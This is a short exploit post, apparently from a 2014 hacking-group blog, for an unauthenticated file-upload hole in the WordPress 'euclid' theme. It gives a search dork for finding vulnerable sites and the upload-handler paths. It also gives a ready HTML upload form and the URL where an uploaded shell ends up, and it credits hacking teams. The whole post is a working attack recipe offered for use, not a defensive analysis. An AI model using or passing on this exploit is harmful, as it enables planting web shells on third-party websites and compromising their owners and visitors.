Exploit for wordpress

[+] Post Title :

Exploit for wordpress

[+] Date : Selasa, 18 Februari 2014
[+] Author : SixZero
[+] Link : http://b-h-t.blogspot.com/2014/02/exploit-for-wordpress.html
[+] Type : Tutorial

Dork :
inurl:wp-content/themes/euclid_v1

Exploit & POC :
http://site-target/wp-content/themes/euclid/functions/upload-handler.php
http://site-target/wp-content/themes/euclid_v1.x.x/functions/upload-handler.php

Script :
<form enctype="multipart/form-data"
action="http://127.0.0.1/wp-content/themes/euclid/functions/upload-handler.php" method="post">
Your File: <input name="uploadfile" type="file" /><br />
<input type="submit" value="upload" />
</form>


File Access :
http://site-target/uploads/[years]/[month]/your_shell.php

Example : http://127.0.0.1/wp-content/uploads/2014/01/BHT.php

Thanks to : Bekasi Hacker Team And Indonesian Cyber Army